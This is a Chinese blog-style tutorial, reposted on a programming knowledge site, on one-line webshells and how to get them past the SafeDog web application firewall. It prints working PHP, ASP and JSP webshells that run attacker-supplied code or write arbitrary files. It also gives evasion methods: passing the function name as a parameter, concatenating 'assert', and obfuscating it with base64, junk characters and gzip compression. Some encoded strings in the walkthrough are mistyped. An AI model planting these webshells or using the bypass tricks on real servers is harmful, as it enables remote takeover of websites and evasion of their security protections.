IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 过狗一句话原理与利用 -> 正文阅读

[PHP知识库]过狗一句话原理与利用

过狗一句话原理与利用

在之前的文件上传漏洞中就有介绍过木马文件,通过上传木马文件实现远程连接从而进行远程控制操作。利用上传文件漏洞上传木马文件过程中,可能会遇到服务端对上传文件后缀、文件名、文件格式以及文件内容等进行检测过滤,从而导致木马文件上传失败。如今存在很多过滤机制与安全产品能够实现网站上传保护,比如安全狗。因此,学习如何绕过这些保护机制成功上传木马文件是至关重要的。在下面的学习中我们称之为过狗一句话,该名称源于绕过安全狗的检测机制成功过上传一句话木马文件。
在学习过狗一句话之前,需要先学习一句话木马的原理与利用,将一句话木马剖析清楚后有利于对过狗一句话原理的理解。

1、 一句话木马

WEBSHELL又称网页木马文件,根据开发语言的不同又分为ASP木马、PHP木马、JSP木马等,该类木马利用了脚本语言中的系统命令执行、文件读写等函数的功能,一旦上传到服务器被脚本引擎解析,攻击者就可以实现对服务器的控制。

一句话木马因其短小精悍不易被过滤又能与中国菜刀等工具配合使用的优势,成为了业界最使用的WEBshell类型。根据不同开发语言,一句话木马的构造语法不同,下面介绍三种开发语言的一句话木马写法:

PHP一句话木马:
<?php @eval($_POST['v']);?>

JSP一句话木马:
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

ASP一句话木马:
<% eval request("v")%>
成功上传一句话木马文件后,通过工具进行远程连接get webshell,比如菜刀和蚁剑:

在这里插入图片描述
下面分别介绍下各类开发语言的木马语句构造原理:

PHP木马

语法:

<?php @eval($_POST['v']);?>

原理:
eval()函数会将参数作为PHP代码进行执行,因此通过eval()函数中的参数v提交要执行的代码即可完成漏洞利用。语句中的@符号作用是可以屏蔽函数执行过程中遇到问题而产生的一些错误、警告信息,这样用户就看不到程序的出错信息。如此一来,即使$_POST[]变量没有获取到参数值时也不会报错。这样除了用户界面会友好一些外,更重要的是安全性,因为屏蔽了出错文件的路径等信息。
成功上传一句话木马文件后可以直接用菜刀或蚁剑连接,也可以访问文件上传路径实现任意命令执行,通过v参数传入命令执行函数system(),执行system()函数中的系统命令:
在这里插入图片描述
在这里插入图片描述

ASP木马

语法:

<%eval request("cmd")%>

原理:
eval函数会将参数作为ASP代码进行执行,因此通过参数cmd提交要执行的代码即可完成漏洞利用。木马文件成功上传后可以直接用菜刀或蚁剑连接,也可以访问文件上传路径实现任意命令执行。注意语句中利用的是request()函数,此函数能够接收GET方式和POST方式传入的参数,因此传入参数时可以直接在URL中构造语句,传入cmd参数如下图,在exec()函数中输入任意系统命令:
在这里插入图片描述
上图中的系统命令ipconfig运行结果显示页面如下:
在这里插入图片描述

JSP一句话木马

语法:

<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

原理:
JSP一句话木马可以向网站提交任意JSP代码并生成脚本文件。上述代码中的request.getParameter(“f”)获取到参数f的值作为创建的文件名,然后调用write往创建的文件中写入request.getParameter(“t”)获取到的参数t的值作为文件内容。
在这里插入图片描述
在火狐构造post表单参数,因为是request接收所以不论post还是get服务端都能够获取到参数值。表单发送后,发现服务端真的创建了1.txt文件,并且文件内容就是hello。
在这里插入图片描述

//1.txt
hello

2、 过狗一句话

单从php一句话木马语法上理解,如<?php @eval($_POST[‘pass’])?>,首先 P O S T 会 获 取 p o s t 到 服 务 器 的 参 数 名 p a s s 数 据 , 然 后 e v a l 会 将 _POST会获取post到服务器的参数名pass数据,然后eval会将 P?OSTpostpasseval_POST获取的字符串按照php语法进行解析,这样我们通过各种php函数的组合使用就能通过中国菜刀等工具对服务器的文件进行操作,这也就是常见一句话的工作原理。
通常,过狗一句话是过滤或者屏蔽一些敏感字眼或敏感函数以此来阻止木马文件中的恶意代码被执行,比如eval()函数和assert()函数等。因此过狗一句话重点就在于如何将eval函数绕过安全狗等安全产品的过滤与检测,最终在服务端仍然执行恶意代码并实现远程连接。
举例一种最简单的绕过方式,就是将eval字符作为另一个参数传入,如下锁好是:

<?php
$a = $_POST[‘cmd’];
$a($_POST[‘pass’]);
?>

此时在火狐post数据提交处输入 cmd=eval&pass=123 便可构成一句话木马。
或者将assert字符串通过拼接方式利用:

<?php
$a = ‘a’.’s’.’s’.’e’.’r’.’t’;
$a($_POST[‘pass’]);
?>

通过字符拼接符将assert隔开绕过过滤检测,但是此方法只适用于assert函数,对于eval函数来说不可行,eval字符隔开后再拼接无法生效,没办法正常执行语句,因此这个方法局限于assert函数的一句话木马绕过。
上面介绍的两种简单绕过方法都有一定的局限性,因此我们需要学习更为规范的通用的过狗一句话。一般来说,通用的过狗一句话常要用到三个函数:

str_replace('aa','a',$a); 	//1.被替换内容 2.用作替换内容 3.替换的内容
base64_encode();         	//加密
base64_decode();         	//解密

过狗一句话听起来很复杂,但主要思路就是对一句话中的危险的回调函数assert等进行base64加密然后插入随便字符,然后用str_replace()函数替换,绕来绕去还是替换成assert($_POST[“v”]);的base64加密,然后在解密,就可以了。

整体的Byass思路:
在这里插入图片描述
根据网站开发语言准备对应的一句话木马,对一句话中的敏感字眼/敏感函数进行base64编码,在编码后的语句中插入混淆字符,然后再次对其进行base64二次编码。对这串字符串进行压缩处理为了不易别发现,解压后进行base64解码处理,接着清除混淆字符后进行二次解码,最后进行数据拼接完成一句话木马。
在这里插入图片描述

3、 过狗一句话案例

按照上述思路重新编写一句话木马,如下图所示案例:

在这里插入图片描述

分析上述过狗一句话代码的编写思路:

1.准备好普通的一句话:

Assert($_POST[“cmd”]);

2.对其中的危险性函数assert进行base64编码并加入混淆字符thinking和JoeVatte:

Base64编码:YXNzZXJO
加入混淆字符:YXNthinkingzZXJoeVatteJ0

3.对YXNthinkingzZXJoeVatteJ0再次base64编码:

WVhOdGhpbmtpbmd6WlhKb2VWYXROZUow

4.对上述代码使用gzdeflate()对数据进行压缩:

gzdeflate('WVhOdGhpbmtpbmd6WIhKb2VWYXR0ZUow);

5.使用base64_decode和gzinflate进行嵌套,先解压缩再进行base64解码,再把值传入变量中(1-5的步骤主要是做了混淆处理)到这一步变量的值已经转回:YXNthinkingzZXJoeVatteJ0:
在这里插入图片描述
6.定义函数cl()将 YXNthinkingzZXJoeVatteJ0中的混淆字符替换为空并进行base64解码最终转化为assert:
在这里插入图片描述
str_replace($step_2,$step_1,$data);的意思是在, d a t a 数 据 里 面 寻 找 data数据里面寻找 datastep_2数组里的数据,并使用$step_1数组的数据进行替换,且替换是数组中位置一一对应的。处理后得到的是YXNzZXJ0,再使用base64解码下就得到assert,并把assert返回到调用函数的位置。

7.经过函数的处理(cl)后cl($data)返回的值为assert,然后进行拼接,得到

$a(@$_POST['cmd']);

在这里插入图片描述

实际上经过1-7的操作后最终获得:

$a(@$_POST['cmd']); == assert(@$_POST['cmd']);
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-05-08 07:50:38  更:2022-05-08 07:50:49 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/20 15:06:03-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码